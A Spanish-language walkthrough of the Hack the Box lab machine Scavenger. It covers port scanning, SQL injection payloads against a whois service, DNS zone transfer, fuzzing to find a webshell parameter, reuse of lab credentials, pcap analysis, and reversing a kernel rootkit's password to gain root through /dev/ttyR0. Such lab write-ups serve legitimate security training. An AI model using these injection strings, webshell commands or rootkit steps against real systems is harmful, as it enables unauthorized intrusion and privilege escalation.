En este post voy a vulnerar la máquina Scavenger de Hack the Box. Es una máquina Linux de nivel difícil basada en la búsqueda de subdominios ocultos, ingeniería inversa, llena de rabbitholes y que requiere una enorme cantidad de enumeración pero es una máquina bastante realista.

Antes de comenzar el post, es necesario aclarar que esta máquina NO es buena para preparar el OSCP porque, en el examen del certificado, es necesario explotar las máquinas y conseguir sus flags obteniendo una shell reversa interactiva, no dándose por válido ningún otro método y en esta máquina, por reglas de firewall, es imposible conseguir una shell de esas características.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- --open -n --min-rate 5000 10.10.10.155

En la máquina hay cinco puertos abiertos. Escaneo los cinco puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p21,22,43,53,80 -sCV 10.10.10.155
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-20 13:47 CET
Nmap scan report for 10.10.10.155
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 df:94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc (RSA)
|   256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e (ECDSA)
|_  256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 (ED25519)
43/tcp open  whois?
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: 
|     % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
|     more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
|     This query returned 0 object
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     % SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
|     more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
|_    1267 (HY000): Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'like'
53/tcp open  domain  ISC BIND 9.10.3-P4 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Debian
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port43-TCP:V=7.91%I=7%D=12/20%Time=61C07B74%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,A9,"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@Mari
SF:aDB10\.1\.37\r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTIN
SF:G,\x20visit\x20http://www\.supersechosting\.htb\r\n%\x20This\x20query\x
SF:20returned\x200\x20object\r\n")%r(GetRequest,A9,"%\x20SUPERSECHOSTING\x
SF:20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20for\x20more\x20
SF:information\x20on\x20SUPERSECHOSTING,\x20visit\x20http://www\.supersech
SF:osting\.htb\r\n%\x20This\x20query\x20returned\x200\x20object\r\n")%r(HT
SF:TPOptions,A9,"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@Mari
SF:aDB10\.1\.37\r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTIN
SF:G,\x20visit\x20http://www\.supersechosting\.htb\r\n%\x20This\x20query\x
SF:20returned\x200\x20object\r\n")%r(RTSPRequest,A9,"%\x20SUPERSECHOSTING\
SF:x20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20for\x20more\x2
SF:0information\x20on\x20SUPERSECHOSTING,\x20visit\x20http://www\.supersec
SF:hosting\.htb\r\n%\x20This\x20query\x20returned\x200\x20object\r\n")%r(H
SF:elp,A9,"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@MariaDB10\
SF:.1\.37\r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTING,\x20
SF:visit\x20http://www\.supersechosting\.htb\r\n%\x20This\x20query\x20retu
SF:rned\x200\x20object\r\n")%r(SSLSessionReq,103,"%\x20SUPERSECHOSTING\x20
SF:WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20for\x20more\x20in
SF:formation\x20on\x20SUPERSECHOSTING,\x20visit\x20http://www\.supersechos
SF:ting\.htb\r\n1267\x20\(HY000\):\x20Illegal\x20mix\x20of\x20collations\x
SF:20\(utf8mb4_general_ci,IMPLICIT\)\x20and\x20\(utf8_general_ci,COERCIBLE
SF:\)\x20for\x20operation\x20'like'")%r(TerminalServerCookie,103,"%\x20SUP
SF:ERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20f
SF:or\x20more\x20information\x20on\x20SUPERSECHOSTING,\x20visit\x20http://
SF:www\.supersechosting\.htb\r\n1267\x20\(HY000\):\x20Illegal\x20mix\x20of
SF:\x20collations\x20\(utf8mb4_general_ci,IMPLICIT\)\x20and\x20\(utf8_gene
SF:ral_ci,COERCIBLE\)\x20for\x20operation\x20'like'")%r(TLSSessionReq,103,
SF:"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\
SF:r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTING,\x20visit\x
SF:20http://www\.supersechosting\.htb\r\n1267\x20\(HY000\):\x20Illegal\x20
SF:mix\x20of\x20collations\x20\(utf8mb4_general_ci,IMPLICIT\)\x20and\x20\(
SF:utf8_general_ci,COERCIBLE\)\x20for\x20operation\x20'like'");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.79 seconds

Comienzo entrando al servicio web y me aparece un mensaje de error al no tener el virtualhost disponible así que, parece ser que la web está levantada sobre un hosting virtual.

En los logs de nmap puedo ver que el dominio virtual es www.supersechosting.htb así que añado la IP y el dominio al fichero /etc/hosts y accedo a él.

Por el puerto 43 he visto que hay un servicio whois. Utilizo el cliente con el mismo nombre para enumerar el servicio y encuentro dos subdominios, así que los agrego a mi fichero/etc/hosts.

whois -h 10.10.10.155 -p 43 supersechosting.htb

El servidor tiene un nombre personalizado y se está ejecutando SQL en él a través de MariaDB 10.1.37 por lo que me pregunto si podría sacar información a través de inyecciones SQL.

Comienzo inyectando una comilla simple y en la respuesta obtengo un «error SQL»… buena señal!! En el mensaje también sugiere que debe haber un ) limit 1 después de mi entrada.

whois -h 10.10.10.155 -p 43 "'"
whois -h 10.10.10.155 -p 43 "')"
whois -h 10.10.10.155 -p 43 "')#"

En este punto consigo saltarme el error SQL y hacer la inyección así que simplemente añado una condición verdadera al fina y consigo la información whois para varios sitios.

whois -h 10.10.10.155 -p 43 "') or 1=1#"
whois -h 10.10.10.155 -p 43 "') or 1=1#" | grep "Domain Name:"

Añado estos nuevos dominios al fichero /etc/hosts quedando de la siguiente manera.

Visito los nuevos dominios y veo que en todos hay webs diferentes.

Lo normal sería realizar una enumeración de las tres webs pero dado que www.justanotherblog.htb y www.pwnhats.htb son rabbitholes, voy a centrarme en www.rentahacker.htb.

Examino la web de www.rentahacker.htb y, aparte de darme alguna idea para vender servicios de hacking, en los comentarios del post encuentro un mensaje de 31173 HAXXOR team donde hace referencia a un rastreador de errores (bug tracker).

Dado que no encuentro nada relevante y en el puerto 53 se está ejecutando un servicio dns, se me ocurre hacer un ataque de transferencia de zona al dominio (realmente lo hice a todos los dominios) y encuentro un nuevo subdominio llamado sec03.rentahacker.htb.

dig axfr rentahacker.htb @ns1.supersechosting.htb

Guardo este subdominio en el fichero /etc/hosts y accedo a él.

Hago un fuzzing de ficheros ocultos en el subdominio con gobuster y encuentro dos que son muy interesantes, uno llamado shell.php y otro llamado login_page.php.

gobuster dir -u http://sec03.rentahacker.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,jpe -t 400 -q -e

Accedo a http://sec03.rentahacker.htb/login_page.php y encuentro una pantalla de autenticación de mantis bug tracker.

Accedo a http://sec03.rentahacker.htb/shell.php pero solo llego a una pantalla en blanco.

Explotación

Consigo autenticarme en mantis con las credenciales administrator:root.

Después de un rato explorando la plataforma, consigo subir un binario pero desconozco la ruta a la que se sube por lo que doy por hecho que se trata de otro rabbithole.

Lanzo un curl contra el fichero http://sec03.rentahacker.htb/shell.php para leer las cabeceras y obtengo un código de estado 200 OK pero sin contenido.

curl -i http://sec03.rentahacker.htb/shell.php

Tras darle un par de vueltas, caigo en que el fichero puede ser una webshell a través e un LFI simple, algo similar a esto:

<?php
  include $_GET['file'];
?>

Pero desconozco el parametro (file) que está leyendo así que hago un fuzzing con wfuzz de este parámetro y me descargo este diccionario del github se SecLists. La idea del fuzzing es añadir un comando de consola y la nombre que devuelva el estado 200 será el parámetro que busco.

wfuzz -c --hc=404 --hh=0 -w /usr/share/wordlists/seclist/discobery/web_content/burp-parameter-names.txt http://sec03.rentahacker.htb/shell.php?FUZZ=whoami

El parámetro que lee es hidden. Lo compruebo ejecutando el comando en la ruta http://sec03.rentahacker.htb/shell.php?hidden=whoami y obtengo la salida que buscaba.

Intento conseguir una shell reversa pero no consigo que nada conecte conmigo pero no conseguía nada así que se me ocurrió hacer un ping a mí mismo desde la webshell y capturar el tráfico icmp que mi máquina recibe por la interfaz tun0 pero no obtengo nada así que doy por hecho que hay reglas de firewall (IPtables) que me impiden conseguir una shell reversa.

Utilizar constantemente una webshell o el Repeater de Burp Suite es bastante molesto así que me descargué esta pseudo shell en pyhton3 del github de s4vitar. Únicamente tengo que cambiar los parámetro que se indican y ejecutar el binario.

En el directorio raíz de mi usuario encuentro el directorio sec03. Además encuentro un archivo comprimido de wordpress.

Accedo al directorio sec03 y encuentro los ficheros típicos de wordpress, que suele almacenar credenciales en el fichero wp-config.php. Enumero todos los ficheros y directorios que contengan la palabra config y, aunque no encuentro el fichero wp-config.php, encuentro un directorio llamado config.

Accedo al directorio config y encuentro un fichero llamado config_inc.php donde, al abrirlo, encuentro credenciales de base de datos para el usuario ib01c03.

Utilizo estas credenciales en mysql y encuentro un hash de admin pero es otro rabbithole.

Siguiendo la mala practica de la reutilización de contraseñas consigo autenticarme por ftp con las credenciales ib01c03:Thi$sh1tIsN0tGut.

Investigo un poco y encuentro un correo electrónico que puedo leer en la ruta /var/spool/mail con el nombre de mi usuario.

Me descargo el correo en mi máquina y al abrirlo encuentro las credenciales ib01ftp:YhgRt56_Ta para ftp.

Aquí también podría haber llegado desde la webshell, encontrando el email en la misma ruta, sin necesidad de utilizar las credenciales obtenidas.

Me conecto al ftp con las credenciales ib01ftp:YhgRt56_Ta .

En la ruta /incidents/ib01c01 encuentro varios archivos interesantes.

Me los descargo y, en el fichero notes.txt, encuentro un mensaje de donde deduzco que puedo encontrar mas credenciales en el fichero de captura de red (pcap).

Abro el fichero con wireshark y, buscando en los métodos POST encuentro la contraseña GetYouAH4t! pero ningún usuario.

En el fichero indica que es la contraseña de administador de www.pwnhats.htb que, al utilizar el CMS PrestaShop, me autenticaría con el email que aparece en la captura, pero esto resulta ser otro rabbithole.

Como los ficheros se encontraban en el directorio ib01c01, y hay un usuario con este mismo nombre, puedo suponer que este password puede ser el del usuario 1b01c01 así que utilizo las credenciales ib01c01:GetYouAH4t! para conectarme nuevamente al ftp.

Enumero el contenido del directorio y encuentro la flag de usuario.

Escalada de privilegios

Al enumerar por completo el directorio raíz del ftp del usuario ib01c01, hay un directorio que aparece como oculto que puede pasar desapercibido fácilmente pero que no existe de forma natural en este tipo de entornos, es el directorio ....

Accedo al directorio ... y encuentro un binario llamado root.ko que me descargo pero por el momento voy a dejarlo de lado.

Vuevlo al pcap y analizo las secuencias del tráfico POST. Sigo el flujo del tráfico TCP y, en la número 26, encuentro que el atacante consiguió una shell reversa, subió al directorio /tmp de la máquina víctima un fichero llamado /Makefile y otro llamado root.c y crea otro shell reverso por el puerto 4445 usando openssl (seguramente para encriptar el tráfico).

Examino las secuencias 27 y 28, correspondientes a Makefile y root.c respectivamente.

Con el contenido de la secuencia 28, correspondiente al binario root.c, descubro que el rootkit ha salido de este post de 0x00sec.org, en donde se encuentra el código completo, y como conseguir ejecutarlo.

Por el final del artículo indica que, al cargar el módulo root.ko (el mismo que he encontrado en el ftp) creará una «dispositivo» de consola en el directorio /dev llamado /dev/ttyR0. Compruebo la existencia de este «dispositivo», para verificar que se ha usado este rootkit.

En el mismo post se indica una contraseña pero al probarla no funciona así que seguramente se haya cambiado.

Abro el fichero root.ko con radare2, lo analizo y, al analizar las funciones existentes, encuentro una llamada sysm.root_write.

radare2 root.ko
aaa
afl

Me sincronizo con la función sysm.root_write, desensamblo el contenido a bajo nivel y encuentro que la contraseña ha sido cambia de g0tR0ot (la que se indica en el post) a g3tPr1v.

s sym.root_write
pdf

Con esta misma contraseña vuelvo a la pseudo shell que he cargado antes y sigo las instrucción que se indican en el post para ejecutar el rootkit.

id
echo "g3tPr1v" > /dev/ttyR0
id

Encuentro la flag de root en la ruta /root/root.txt.